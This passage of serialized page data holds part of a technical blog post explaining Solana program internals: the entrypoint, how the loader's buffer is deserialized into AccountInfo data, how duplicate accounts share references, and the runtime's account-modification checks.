&accounts, &instruction_data) {\n        Ok(()) => $crate::entrypoint::SUCCESS,\n        Err(error) => error.into(),\n    }\n}\n",[14036],{"type":23,"tag":92,"props":14037,"children":14038},{"__ignoreMap":7},[14039,14047,14119,14162,14214,14273,14316,14359,14366],{"type":23,"tag":134,"props":14040,"children":14041},{"class":136,"line":137},[14042],{"type":23,"tag":134,"props":14043,"children":14044},{"style":179},[14045],{"type":28,"value":14046},"#[no_mangle]\n",{"type":23,"tag":134,"props":14048,"children":14049},{"class":136,"line":147},[14050,14054,14059,14064,14069,14073,14078,14082,14086,14090,14094,14098,14103,14107,14111,14115],{"type":23,"tag":134,"props":14051,"children":14052},{"style":151},[14053],{"type":28,"value":13158},{"type":23,"tag":134,"props":14055,"children":14056},{"style":151},[14057],{"type":28,"value":14058}," unsafe",{"type":23,"tag":134,"props":14060,"children":14061},{"style":151},[14062],{"type":28,"value":14063}," extern",{"type":23,"tag":134,"props":14065,"children":14066},{"style":1461},[14067],{"type":28,"value":14068}," \"C\"",{"type":23,"tag":134,"props":14070,"children":14071},{"style":151},[14072],{"type":28,"value":13163},{"type":23,"tag":134,"props":14074,"children":14075},{"style":264},[14076],{"type":28,"value":14077}," entrypoint",{"type":23,"tag":134,"props":14079,"children":14080},{"style":179},[14081],{"type":28,"value":272},{"type":23,"tag":134,"props":14083,"children":14084},{"style":162},[14085],{"type":28,"value":7826},{"type":23,"tag":134,"props":14087,"children":14088},{"style":168},[14089],{"type":28,"value":1697},{"type":23,"tag":134,"props":14091,"children":14092},{"style":168},[14093],{"type":28,"value":9281},{"type":23,"tag":134,"props":14095,"children":14096},{"style":151},[14097],{"type":28,"value":914},{"type":23,"tag":134,"props":14099,"children":14100},{"style":597},[14101],{"type":28,"value":14102}," u8",{"type":23,"tag":134,"props":14104,"children":14105},{"style":179},[14106],{"type":28,"value":252},{"type":23,"tag":134,"props":14108,"children":14109},{"style":168},[14110],{"type":28,"value":13225},{"type":23,"tag":134,"props":14112,"children":14113},{"style":597},[14114],{"type":28,"value":5316},{"type":23,"tag":134,"props":14116,"children":14117},{"style":179},[14118],{"type":28,"value":463},{"type":23,"tag":134,"props":14120,"children":14121},{"class":136,"line":185},[14122,14126,14130,14135,14139,14144,14148,14153,14157],{"type":23,"tag":134,"props":14123,"children":14124},{"style":151},[14125],{"type":28,"value":154},{"type":23,"tag":134,"props":14127,"children":14128},{"style":179},[14129],{"type":28,"value":232},{"type":23,"tag":134,"props":14131,"children":14132},{"style":162},[14133],{"type":28,"value":14134},"program_id",{"type":23,"tag":134,"props":14136,"children":14137},{"style":179},[14138],{"type":28,"value":242},{"type":23,"tag":134,"props":14140,"children":14141},{"style":162},[14142],{"type":28,"value":14143},"accounts",{"type":23,"tag":134,"props":14145,"children":14146},{"style":179},[14147],{"type":28,"value":242},{"type":23,"tag":134,"props":14149,"children":14150},{"style":162},[14151],{"type":28,"value":14152},"instruction_data",{"type":23,"tag":134,"props":14154,"children":14155},{"style":179},[14156],{"type":28,"value":252},{"type":23,"tag":134,"props":14158,"children":14159},{"style":168},[14160],{"type":28,"value":14161},"=\n",{"type":23,"tag":134,"props":14163,"children":14164},{"class":136,"line":221},[14165,14170,14174,14178,14183,14187,14192,14196,14201,14205,14209],{"type":23,"tag":134,"props":14166,"children":14167},{"style":151},[14168],{"type":28,"value":14169},"        unsafe",{"type":23,"tag":134,"props":14171,"children":14172},{"style":179},[14173],{"type":28,"value":9049},{"type":23,"tag":134,"props":14175,"children":14176},{"style":168},[14177],{"type":28,"value":9753},{"type":23,"tag":134,"props":14179,"children":14180},{"style":151},[14181],{"type":28,"value":14182},"crate",{"type":23,"tag":134,"props":14184,"children":14185},{"style":168},[14186],{"type":28,"value":660},{"type":23,"tag":134,"props":14188,"children":14189},{"style":179},[14190],{"type":28,"value":14191},"entrypoint",{"type":23,"tag":134,"props":14193,"children":14194},{"style":168},[14195],{"type":28,"value":660},{"type":23,"tag":134,"props":14197,"children":14198},{"style":264},[14199],{"type":28,"value":14200},"deserialize",{"type":23,"tag":134,"props":14202,"children":14203},{"style":179},[14204],{"type":28,"value":272},{"type":23,"tag":134,"props":14206,"children":14207},{"style":162},[14208],{"type":28,"value":7826},{"type":23,"tag":134,"props":14210,"children":14211},{"style":179},[14212],{"type":28,"value":14213},") };\n",{"type":23,"tag":134,"props":14215,"children":14216},{"class":136,"line":332},[14217,14222,14227,14232,14236,14240,14244,14248,14252,14256,14260,14264,14268],{"type":23,"tag":134,"props":14218,"children":14219},{"style":189},[14220],{"type":28,"value":14221},"    match",{"type":23,"tag":134,"props":14223,"children":14224},{"style":168},[14225],{"type":28,"value":14226}," $",{"type":23,"tag":134,"props":14228,"children":14229},{"style":162},[14230],{"type":28,"value":14231},"process_instruction",{"type":23,"tag":134,"props":14233,"children":14234},{"style":179},[14235],{"type":28,"value":272},{"type":23,"tag":134,"props":14237,"children":14238},{"style":168},[14239],{"type":28,"value":277},{"type":23,"tag":134,"props":14241,"children":14242},{"style":162},[14243],{"type":28,"value":14134},{"type":23,"tag":134,"props":14245,"children":14246},{"style":179},[14247],{"type":28,"value":242},{"type":23,"tag":134,"props":14249,"children":14250},{"style":168},[14251],{"type":28,"value":277},{"type":23,"tag":134,"props":14253,"children":14254},{"style":162},[14255],{"type":28,"value":14143},{"type":23,"tag":134,"props":14257,"children":14258},{"style":179},[14259],{"type":28,"value":242},{"type":23,"tag":134,"props":14261,"children":14262},{"style":168},[14263],{"type":28,"value":277},{"type":23,"tag":134,"props":14265,"children":14266},{"style":162},[14267],{"type":28,"value":14152},{"type":23,"tag":134,"props":14269,"children":14270},{"style":179},[14271],{"type":28,"value":14272},") {\n",{"type":23,"tag":134,"props":14274,"children":14275},{"class":136,"line":438},[14276,14281,14286,14291,14295,14299,14303,14307,14311],{"type":23,"tag":134,"props":14277,"children":14278},{"style":597},[14279],{"type":28,"value":14280},"        Ok",{"type":23,"tag":134,"props":14282,"children":14283},{"style":179},[14284],{"type":28,"value":14285},"(()) ",{"type":23,"tag":134,"props":14287,"children":14288},{"style":168},[14289],{"type":28,"value":14290},"=>",{"type":23,"tag":134,"props":14292,"children":14293},{"style":168},[14294],{"type":28,"value":14226},{"type":23,"tag":134,"props":14296,"children":14297},{"style":151},[14298],{"type":28,"value":14182},{"type":23,"tag":134,"props":14300,"children":14301},{"style":168},[14302],{"type":28,"value":660},{"type":23,"tag":134,"props":14304,"children":14305},{"style":179},[14306],{"type":28,"value":14191},{"type":23,"tag":134,"props":14308,"children":14309},{"style":168},[14310],{"type":28,"value":660},{"type":23,"tag":134,"props":14312,"children":14313},{"style":179},[14314],{"type":28,"value":14315},"SUCCESS,\n",{"type":23,"tag":134,"props":14317,"children":14318},{"class":136,"line":466},[14319,14324,14328,14333,14337,14341,14346,14350,14355],{"type":23,"tag":134,"props":14320,"children":14321},{"style":597},[14322],{"type":28,"value":14323},"        Err",{"type":23,"tag":134,"props":14325,"children":14326},{"style":179},[14327],{"type":28,"value":272},{"type":23,"tag":134,"props":14329,"children":14330},{"style":162},[14331],{"type":28,"value":14332},"error",{"type":23,"tag":134,"props":14334,"children":14335},{"style":179},[14336],{"type":28,"value":252},{"type":23,"tag":134,"props":14338,"children":14339},{"style":168},[14340],{"type":28,"value":14290},{"type":23,"tag":134,"props":14342,"children":14343},{"style":162},[14344],{"type":28,"value":14345}," error",{"type":23,"tag":134,"props":14347,"children":14348},{"style":168},[14349],{"type":28,"value":720},{"type":23,"tag":134,"props":14351,"children":14352},{"style":264},[14353],{"type":28,"value":14354},"into",{"type":23,"tag":134,"props":14356,"children":14357},{"style":179},[14358],{"type":28,"value":670},{"type":23,"tag":134,"props":14360,"children":14361},{"class":136,"line":479},[14362],{"type":23,"tag":134,"props":14363,"children":14364},{"style":179},[14365],{"type":28,"value":533},{"type":23,"tag":134,"props":14367,"children":14368},{"class":136,"line":497},[14369],{"type":23,"tag":134,"props":14370,"children":14371},{"style":179},[14372],{"type":28,"value":1098},{"type":23,"tag":24,"props":14374,"children":14375},{},[14376,14378,14383,14385,14391,14393,14400,14402,14408,14410,14417],{"type":28,"value":14377},"What we see here is the contract's real entrypoint - it takes a ",{"type":23,"tag":92,"props":14379,"children":14381},{"className":14380},[],[14382],{"type":28,"value":600},{"type":28,"value":14384}," buffer in from the loader, and calls ",{"type":23,"tag":92,"props":14386,"children":14388},{"className":14387},[],[14389],{"type":28,"value":14390},"solana_program::entrypoint::deserialize",{"type":28,"value":14392},", which then ",{"type":23,"tag":31,"props":14394,"children":14397},{"href":14395,"rel":14396},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[35],[14398],{"type":28,"value":14399},"parses out",{"type":28,"value":14401}," all the ",{"type":23,"tag":92,"props":14403,"children":14405},{"className":14404},[],[14406],{"type":28,"value":14407},"AccountInfo",{"type":28,"value":14409},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":23,"tag":31,"props":14411,"children":14414},{"href":14412,"rel":14413},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[35],[14415],{"type":28,"value":14416},"laid out",{"type":28,"value":1697},{"type":23,"tag":87,"props":14419,"children":14421},{"className":128,"code":14420,"language":127,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n    from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[14422],{"type":23,"tag":92,"props":14423,"children":14424},{"__ignoreMap":7},[14425,14442,14522,14555,14562,14610,14655,14663,14687],{"type":23,"tag":134,"props":14426,"children":14427},{"class":136,"line":137},[14428,14433,14437],{"type":23,"tag":134,"props":14429,"children":14430},{"style":179},[14431],{"type":28,"value":14432},"#[allow(clippy",{"type":23,"tag":134,"props":14434,"children":14435},{"style":168},[14436],{"type":28,"value":660},{"type":23,"tag":134,"props":14438,"children":14439},{"style":179},[14440],{"type":28,"value":14441},"cast_ptr_alignment)]\n",{"type":23,"tag":134,"props":14443,"children":14444},{"class":136,"line":147},[14445,14449,14454,14458,14462,14466,14470,14474,14478,14482,14486,14490,14494,14498,14502,14506,14510,14514,14518],{"type":23,"tag":134,"props":14446,"children":14447},{"style":151},[14448],{"type":28,"value":11254},{"type":23,"tag":134,"props":14450,"children":14451},{"style":162},[14452],{"type":28,"value":14453}," data_len",{"type":23,"tag":134,"props":14455,"children":14456},{"style":168},[14457],{"type":28,"value":171},{"type":23,"tag":134,"props":14459,"children":14460},{"style":168},[14461],{"type":28,"value":9281},{"type":23,"tag":134,"props":14463,"children":14464},{"style":179},[14465],{"type":28,"value":272},{"type":23,"tag":134,"props":14467,"children":14468},{"style":162},[14469],{"type":28,"value":7826},{"type":23,"tag":134,"props":14471,"children":14472},{"style":168},[14473],{"type":28,"value":720},{"type":23,"tag":134,"props":14475,"children":14476},{"style":264},[14477],{"type":28,"value":9102},{"type":23,"tag":134,"props":14479,"children":14480},{"style":179},[14481],{"type":28,"value":272},{"type":23,"tag":134,"props":14483,"children":14484},{"style":162},[14485],{"type":28,"value":13369},{"type":23,"tag":134,"props":14487,"children":14488},{"style":179},[14489],{"type":28,"value":252},{"type":23,"tag":134,"props":14491,"children":14492},{"style":151},[14493],{"type":28,"value":8302},{"type":23,"tag":134,"props":14495,"children":14496},{"style":168},[14497],{"type":28,"value":9281},{"type":23,"tag":134,"props":14499,"children":14500},{"style":151},[14501],{"type":28,"value":9119},{"type":23,"tag":134,"props":14503,"children":14504},{"style":597},[14505],{"type":28,"value":5316},{"type":23,"tag":134,"props":14507,"children":14508},{"style":179},[14509],{"type":28,"value":252},{"type":23,"tag":134,"props":14511,"children":14512},{"style":151},[14513],{"type":28,"value":8302},{"type":23,"tag":134,"props":14515,"children":14516},{"style":597},[14517],{"type":28,"value":13199},{"type":23,"tag":134,"props":14519,"children":14520},{"style":179},[14521],{"type":28,"value":182},{"type":23,"tag":134,"props":14523,"children":14524},{"class":136,"line":185},[14525,14529,14534,14539,14543,14547,14551],{"type":23,"tag":134,"props":14526,"children":14527},{"style":162},[14528],{"type":28,"value":13369},{"type":23,"tag":134,"props":14530,"children":14531},{"style":168},[14532],{"type":28,"value":14533}," +=",{"type":23,"tag":134,"props":14535,"children":14536},{"style":264},[14537],{"type":28,"value":14538}," size_of",{"type":23,"tag":134,"props":14540,"children":14541},{"style":168},[14542],{"type":28,"value":660},{"type":23,"tag":134,"props":14544,"children":14545},{"style":179},[14546],{"type":28,"value":5262},{"type":23,"tag":134,"props":14548,"children":14549},{"style":597},[14550],{"type":28,"value":7501},{"type":23,"tag":134,"props":14552,"children":14553},{"style":179},[14554],{"type":28,"value":7911},{"type":23,"tag":134,"props":14556,"children":14557},{"class":136,"line":221},[14558],{"type":23,"tag":134,"props":14559,"children":14560},{"emptyLinePlaceholder":15},[14561],{"type":28,"value":865},{"type":23,"tag":134,"props":14563,"children":14564},{"class":136,"line":332},[14565,14569,14574,14578,14583,14587,14592,14597,14601,14605],{"type":23,"tag":134,"props":14566,"children":14567},{"style":151},[14568],{"type":28,"value":11254},{"type":23,"tag":134,"props":14570,"children":14571},{"style":162},[14572],{"type":28,"value":14573}," data",{"type":23,"tag":134,"props":14575,"children":14576},{"style":168},[14577],{"type":28,"value":171},{"type":23,"tag":134,"props":14579,"children":14580},{"style":597},[14581],{"type":28,"value":14582}," Rc",{"type":23,"tag":134,"props":14584,"children":14585},{"style":168},[14586],{"type":28,"value":660},{"type":23,"tag":134,"props":14588,"children":14589},{"style":264},[14590],{"type":28,"value":14591},"new",{"type":23,"tag":134,"props":14593,"children":14594},{"style":179},[14595],{"type":28,"value":14596},"(RefCell",{"type":23,"tag":134,"props":14598,"children":14599},{"style":168},[14600],{"type":28,"value":660},{"type":23,"tag":134,"props":14602,"children":14603},{"style":264},[14604],{"type":28,"value":14591},{"type":23,"tag":134,"props":14606,"children":14607},{"style":179},[14608],{"type":28,"value":14609},"({\n",{"type":23,"tag":134,"props":14611,"children":14612},{"class":136,"line":438},[14613,14618,14622,14626,14630,14634,14638,14642,14647,14651],{"type":23,"tag":134,"props":14614,"children":14615},{"style":264},[14616],{"type":28,"value":14617},"    from_raw_parts_mut",{"type":23,"tag":134,"props":14619,"children":14620},{"style":179},[14621],{"type":28,"value":272},{"type":23,"tag":134,"props":14623,"children":14624},{"style":162},[14625],{"type":28,"value":7826},{"type":23,"tag":134,"props":14627,"children":14628},{"style":168},[14629],{"type":28,"value":720},{"type":23,"tag":134,"props":14631,"children":14632},{"style":264},[14633],{"type":28,"value":9102},{"type":23,"tag":134,"props":14635,"children":14636},{"style":179},[14637],{"type":28,"value":272},{"type":23,"tag":134,"props":14639,"children":14640},{"style":162},[14641],{"type":28,"value":13369},{"type":23,"tag":134,"props":14643,"children":14644},{"style":179},[14645],{"type":28,"value":14646},"), ",{"type":23,"tag":134,"props":14648,"children":14649},{"style":162},[14650],{"type":28,"value":13274},{"type":23,"tag":134,"props":14652,"children":14653},{"style":179},[14654],{"type":28,"value":329},{"type":23,"tag":134,"props":14656,"children":14657},{"class":136,"line":466},[14658],{"type":23,"tag":134,"props":14659,"children":14660},{"style":179},[14661],{"type":28,"value":14662},"}));\n",{"type":23,"tag":134,"props":14664,"children":14665},{"class":136,"line":479},[14666,14670,14674,14678,14682],{"type":23,"tag":134,"props":14667,"children":14668},{"style":162},[14669],{"type":28,"value":13369},{"type":23,"tag":134,"props":14671,"children":14672},{"style":168},[14673],{"type":28,"value":14533},{"type":23,"tag":134,"props":14675,"children":14676},{"style":162},[14677],{"type":28,"value":14453},{"type":23,"tag":134,"props":14679,"children":14680},{"style":168},[14681],{"type":28,"value":8365},{"type":23,"tag":134,"props":14683,"children":14684},{"style":179},[14685],{"type":28,"value":14686}," MAX_PERMITTED_DATA_INCREASE;\n",{"type":23,"tag":134,"props":14688,"children":14689},{"class":136,"line":497},[14690,14694,14698,14702,14706,14710,14714,14718,14722,14726,14730,14735,14740],{"type":23,"tag":134,"props":14691,"children":14692},{"style":162},[14693],{"type":28,"value":13369},{"type":23,"tag":134,"props":14695,"children":14696},{"style":168},[14697],{"type":28,"value":14533},{"type":23,"tag":134,"props":14699,"children":14700},{"style":179},[14701],{"type":28,"value":232},{"type":23,"tag":134,"props":14703,"children":14704},{"style":162},[14705],{"type":28,"value":13369},{"type":23,"tag":134,"props":14707,"children":14708},{"style":151},[14709],{"type":28,"value":8288},{"type":23,"tag":134,"props":14711,"children":14712},{"style":168},[14713],{"type":28,"value":9281},{"type":23,"tag":134,"props":14715,"children":14716},{"style":151},[14717],{"type":28,"value":9119},{"type":23,"tag":134,"props":14719,"children":14720},{"style":597},[14721],{"type":28,"value":14102},{"type":23,"tag":134,"props":14723,"children":14724},{"style":179},[14725],{"type":28,"value":296},{"type":23,"tag":134,"props":14727,"children":14728},{"style":168},[14729],{"type":28,"value":720},{"type":23,"tag":134,"props":14731,"children":14732},{"style":264},[14733],{"type":28,"value":14734},"align_offset",{"type":23,"tag":134,"props":14736,"children":14737},{"style":179},[14738],{"type":28,"value":14739},"(BPF_ALIGN_OF_U128); ",{"type":23,"tag":134,"props":14741,"children":14742},{"style":141},[14743],{"type":28,"value":14744},"// padding\n",{"type":23,"tag":24,"props":14746,"children":14747},{},[14748,14750,14755,14757,14763,14765,14776,14778,14783,14785,14791,14793,14799,14801,14807],{"type":28,"value":14749},"In English, we have the length of the data, as a ",{"type":23,"tag":92,"props":14751,"children":14753},{"className":14752},[],[14754],{"type":28,"value":7501},{"type":28,"value":14756},", followed immediately by the data, and an additional ",{"type":23,"tag":92,"props":14758,"children":14760},{"className":14759},[],[14761],{"type":28,"value":14762},"MAX_PERMITTED_DATA_INCREASE",{"type":28,"value":14764}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":23,"tag":31,"props":14766,"children":14769},{"href":14767,"rel":14768},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[35],[14770],{"type":23,"tag":92,"props":14771,"children":14773},{"className":14772},[],[14774],{"type":28,"value":14775},"slice::from_raw_parts_mut",{"type":28,"value":14777},") - slices are how Rust represents a, well, ",{"type":23,"tag":55,"props":14779,"children":14780},{},[14781],{"type":28,"value":14782},"slice",{"type":28,"value":14784}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":23,"tag":92,"props":14786,"children":14788},{"className":14787},[],[14789],{"type":28,"value":14790},"Rc\u003CRefCell\u003CT>>",{"type":28,"value":14792},", giving us the unwieldy-looking type of ",{"type":23,"tag":92,"props":14794,"children":14796},{"className":14795},[],[14797],{"type":28,"value":14798},"AccountInfo.data",{"type":28,"value":14800},": ",{"type":23,"tag":92,"props":14802,"children":14804},{"className":14803},[],[14805],{"type":28,"value":14806},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":28,"value":720},{"type":23,"tag":24,"props":14809,"children":14810},{},[14811,14813,14820],{"type":28,"value":14812},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":23,"tag":31,"props":14814,"children":14817},{"href":14815,"rel":14816},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[35],[14818],{"type":28,"value":14819},"cloning the referenced account",{"type":28,"value":1697},{"type":23,"tag":87,"props":14822,"children":14824},{"className":128,"code":14823,"language":127,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[14825],{"type":23,"tag":92,"props":14826,"children":14827},{"__ignoreMap":7},[14828,14836],{"type":23,"tag":134,"props":14829,"children":14830},{"class":136,"line":137},[14831],{"type":23,"tag":134,"props":14832,"children":14833},{"style":141},[14834],{"type":28,"value":14835},"// Duplicate account, clone the original\n",{"type":23,"tag":134,"props":14837,"children":14838},{"class":136,"line":147},[14839,14843,14847,14851,14855,14859,14863,14868,14872,14876,14881,14885,14890],{"type":23,"tag":134,"props":14840,"children":14841},{"style":162},[14842],{"type":28,"value":14143},{"type":23,"tag":134,"props":14844,"children":14845},{"style":168},[14846],{"type":28,"value":720},{"type":23,"tag":134,"props":14848,"children":14849},{"style":264},[14850],{"type":28,"value":1007},{"type":23,"tag":134,"props":14852,"children":14853},{"style":179},[14854],{"type":28,"value":272},{"type":23,"tag":134,"props":14856,"children":14857},{"style":162},[14858],{"type":28,"value":14143},{"type":23,"tag":134,"props":14860,"children":14861},{"style":179},[14862],{"type":28,"value":924},{"type":23,"tag":134,"props":14864,"children":14865},{"style":162},[14866],{"type":28,"value":14867},"dup_info",{"type":23,"tag":134,"props":14869,"children":14870},{"style":151},[14871],{"type":28,"value":8288},{"type":23,"tag":134,"props":14873,"children":14874},{"style":597},[14875],{"type":28,"value":13199},{"type":23,"tag":134,"props":14877,"children":14878},{"style":179},[14879],{"type":28,"value":14880},"]",{"type":23,"tag":134,"props":14882,"children":14883},{"style":168},[14884],{"type":28,"value":720},{"type":23,"tag":134,"props":14886,"children":14887},{"style":264},[14888],{"type":28,"value":14889},"clone",{"type":23,"tag":134,"props":14891,"children":14892},{"style":179},[14893],{"type":28,"value":14894},"());\n",{"type":23,"tag":24,"props":14896,"children":14897},{},[14898,14900,14905,14907,14912,14914,14919,14921,14926,14927,14933,14935,14940,14942,14954,14956,14961],{"type":28,"value":14899},"Since ",{"type":23,"tag":92,"props":14901,"children":14903},{"className":14902},[],[14904],{"type":28,"value":892},{"type":28,"value":14906}," inside the ",{"type":23,"tag":92,"props":14908,"children":14910},{"className":14909},[],[14911],{"type":28,"value":14407},{"type":28,"value":14913}," is a ",{"type":23,"tag":92,"props":14915,"children":14917},{"className":14916},[],[14918],{"type":28,"value":14790},{"type":28,"value":14920},", where the ",{"type":23,"tag":92,"props":14922,"children":14924},{"className":14923},[],[14925],{"type":28,"value":5444},{"type":28,"value":14913},{"type":23,"tag":92,"props":14928,"children":14930},{"className":14929},[],[14931],{"type":28,"value":14932},"&mut [u8]",{"type":28,"value":14934}," pointing at the actual data buffer, when we clone the ",{"type":23,"tag":92,"props":14936,"children":14938},{"className":14937},[],[14939],{"type":28,"value":14407},{"type":28,"value":14941},", we get a new reference",{"type":23,"tag":14943,"props":14944,"children":14945},"sup",{},[14946],{"type":23,"tag":31,"props":14947,"children":14952},{"href":14948,"ariaDescribedBy":14949,"dataFootnoteRef":7,"id":14951},"#user-content-fn-rc-refs",[14950],"footnote-label","user-content-fnref-rc-refs",[14953],{"type":28,"value":1214},{"type":28,"value":14955}," to the slice pointing at the ",{"type":23,"tag":55,"props":14957,"children":14958},{},[14959],{"type":28,"value":14960},"same",{"type":28,"value":14962}," data buffer.",{"type":23,"tag":24,"props":14964,"children":14965},{},[14966,14968,14974,14976,14982],{"type":28,"value":14967},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":23,"tag":92,"props":14969,"children":14971},{"className":14970},[],[14972],{"type":28,"value":14973},"RefCell",{"type":28,"value":14975}," to check the rules at runtime. (The ",{"type":23,"tag":92,"props":14977,"children":14979},{"className":14978},[],[14980],{"type":28,"value":14981},"lamports",{"type":28,"value":14983}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":23,"tag":24,"props":14985,"children":14986},{},[14987,14989,14995],{"type":28,"value":14988},"Changing the data of an account is done by simply writing to ",{"type":23,"tag":92,"props":14990,"children":14992},{"className":14991},[],[14993],{"type":28,"value":14994},"AccountInfo::data",{"type":28,"value":14996},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":23,"tag":24,"props":14998,"children":14999},{},[15000,15002,15009],{"type":28,"value":15001},"This is also where the ",{"type":23,"tag":31,"props":15003,"children":15006},{"href":15004,"rel":15005},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[35],[15007],{"type":28,"value":15008},"runtime validity checks",{"type":28,"value":15010}," are imposed.",{"type":23,"tag":87,"props":15012,"children":15014},{"className":128,"code":15013,"language":127,"meta":7,"style":7},"// Only the owner may change account data\n//   and if the account is writable\n//   and if the account is not executable\nif !(program_id == pre.owner()\n    && is_writable  // line coverage used to get branch coverage\n    && !pre.executable())\n    && pre.data() != post.data()\n{\n    if pre.executable() {\n        return Err(InstructionError::ExecutableDataModified);\n    } else if is_writable {\n        return Err(InstructionError::ExternalAccountDataModified);\n    } else {\n        return Err(InstructionError::ReadonlyDataModified);\n    }\n}\n",[15015],{"type":23,"tag":92,"props":15016,"children":15017},{"__ignoreMap":7},[15018,15026,15034,15042,15084,15102,15131,15176,15183,15207,15242,15267,15299,15314,15346,15353],{"type":23,"tag":134,"props":15019,"children":15020},{"class":136,"line":137},[15021],{"type":23,"tag":134,"props":15022,"children":15023},{"style":141},[15024],{"type":28,"value":15025},"// Only the owner may change account data\n",{"type":23,"tag":134,"props":15027,"children":15028},{"class":136,"line":147},[15029],{"type":23,"tag":134,"props":15030,"children":15031},{"style":141},[15032],{"type":28,"value":15033},"//   and if the account is writable\n",{"type":23,"tag":134,"props":15035,"children":15036},{"class":136,"line":185},[15037],{"type":23,"tag":134,"props":15038,"children":15039},{"style":141},[15040],{"type":28,"value":15041},"//   and if the account is not executable\n",{"type":23,"tag":134,"props":15043,"children":15044},{"class":136,"line":221},[15045,15050,15054,15058,15062,15066,15071,15075,15080],{"type":23,"tag":134,"props":15046,"children":15047},{"style":189},[15048],{"type":28,"value":15049},"if",{"type":23,"tag":134,"props":15051,"children":15052},{"style":168},[15053],{"type":28,"value":12331},{"type":23,"tag":134,"props":15055,"children":15056},{"style":179},[15057],{"type":28,"value":272},{"type":23,"tag":134,"props":15059,"children":15060},{"style":162},[15061],{"type":28,"value":14134},{"type":23,"tag":134,"props":15063,"children":15064},{"style":168},[15065],{"type":28,"value":454},{"type":23,"tag":134,"props":15067,"children":15068},{"style":162},[15069],{"type":28,"value":15070}," pre",{"type":23,"tag":134,"props":15072,"children":15073},{"style":168},[15074],{"type":28,"value":720},{"type":23,"tag":134,"props":15076,"children":15077},{"style":264},[15078],{"type":28,"value":15079},"owner",{"type":23,"tag":134,"props":15081,"children":15082},{"style":179},[15083],{"type":28,"value":7194},{"type":23,"tag":134,"props":15085,"children":15086},{"class":136,"line":332},[15087,15092,15097],{"type":23,"tag":134,"props":15088,"children":15089},{"style":168},[15090],{"type":28,"value":15091},"    &&",{"type":23,"tag":134,"props":15093,"children":15094},{"style":162},[15095],{"type":28,"value":15096}," is_writable",{"type":23,"tag":134,"props":15098,"children":15099},{"style":141},[15100],{"type":28,"value":15101},"  // line coverage used to get branch coverage\n",{"type":23,"tag":134,"props":15103,"children":15104},{"class":136,"line":438},[15105,15109,15113,15117,15121,15126],{"type":23,"tag":134,"props":15106,"children":15107},{"style":168},[15108],{"type":28,"value":15091},{"type":23,"tag":134,"props":15110,"children":15111},{"style":168},[15112],{"type":28,"value":12331},{"type":23,"tag":134,"props":15114,"children":15115},{"style":162},[15116],{"type":28,"value":87},{"type":23,"tag":134,"props":15118,"children":15119},{"style":168},[15120],{"type":28,"value":720},{"type":23,"tag":134,"props":15122,"children":15123},{"style":264},[15124],{"type":28,"value":15125},"executable",{"type":23,"tag":134,"props":15127,"children":15128},{"style":179},[15129],{"type":28,"value":15130},"())\n",{"type":23,"tag":134,"props":15132,"children":15133},{"class":136,"line":466},[15134,15138,15142,15146,15150,15154,15159,15164,15168,15172],{"type":23,"tag":134,"props":15135,"children":15136},{"style":168},[15137],{"type":28,"value":15091},{"type":23,"tag":134,"props":15139,"children":15140},{"style":162},[15141],{"type":28,"value":15070},{"type":23,"tag":134,"props":15143,"children":15144},{"style":168},[15145],{"type":28,"value":720},{"type":23,"tag":134,"props":15147,"children":15148},{"style":264},[15149],{"type":28,"value":892},{"type":23,"tag":134,"props":15151,"children":15152},{"style":179},[15153],{"type":28,"value":13511},{"type":23,"tag":134,"props":15155,"children":15156},{"style":168},[15157],{"type":28,"value":15158},"!=",{"type":23,"tag":134,"props":15160,"children":15161},{"style":162},[15162],{"type":28,"value":15163}," post",{"type":23,"tag":134,"props":15165,"children":15166},{"style":168},[15167],{"type":28,"value":720},{"type":23,"tag":134,"props":15169,"children":15170},{"style":264},[15171],{"type":28,"value":892},{"type":23,"tag":134,"props":15173,"children":15174},{"style":179},[15175],{"type":28,"value":7194},{"type":23,"tag":134,"props":15177,"children":15178},{"class":136,"line":479},[15179],{"type":23,"tag":134,"props":15180,"children":15181},{"style":179},[15182],{"type":28,"value":10346},{"type":23,"tag":134,"props":15184,"children":15185},{"class":136,"line":497},[15186,15190,15194,15198,15202],{"type":23,"tag":134,"props":15187,"children":15188},{"style":189},[15189],{"type":28,"value":11746},{"type":23,"tag":134,"props":15191,"children":15192},{"style":162},[15193],{"type":28,"value":15070},{"type":23,"tag":134,"props":15195,"children":15196},{"style":168},[15197],{"type":28,"value":720},{"type":23,"tag":134,"props":15199,"children":15200},{"style":264},[15201],{"type":28,"value":15125},{"type":23,"tag":134,"props":15203,"children":15204},{"style":179},[15205],{"type":28,"value":15206},"() {\n",{"type":23,"tag":134,"props":15208,"children":15209},{"class":136,"line":518},[15210,15215,15220,15224,15229,15233,15238],{"type":23,"tag":134,"props":15211,"children":15212},{"style":189},[15213],{"type":28,"value":15214},"        return",{"type":23,"tag":134,"props":15216,"children":15217},{"style":597},[15218],{"type":28,"value":15219}," 